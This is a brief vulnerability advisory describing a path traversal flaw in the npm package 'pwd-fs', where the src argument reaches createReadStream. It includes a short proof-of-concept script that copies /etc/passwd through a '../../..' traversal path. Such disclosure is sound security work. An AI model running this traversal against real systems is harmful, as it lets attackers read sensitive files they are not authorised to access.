Affected versions of this package are vulnerable to Path Traversal as the attacker controlled parameter src (recurse-io.js#L74) flows into a sensitive file system API createReadStream (recurse-io.js#L113). As a result, attackers may read sensitive content they are not supposed such as /etc/passwd..

pwd-fs_poc.js

// must have a directory named dir/ in the same directory as poc.js

const PoweredFileSystem = require('pwd-fs');
const pfs = new PoweredFileSystem();

pfs.copy("../../../../../../../../../../etc/passwd", "./dir")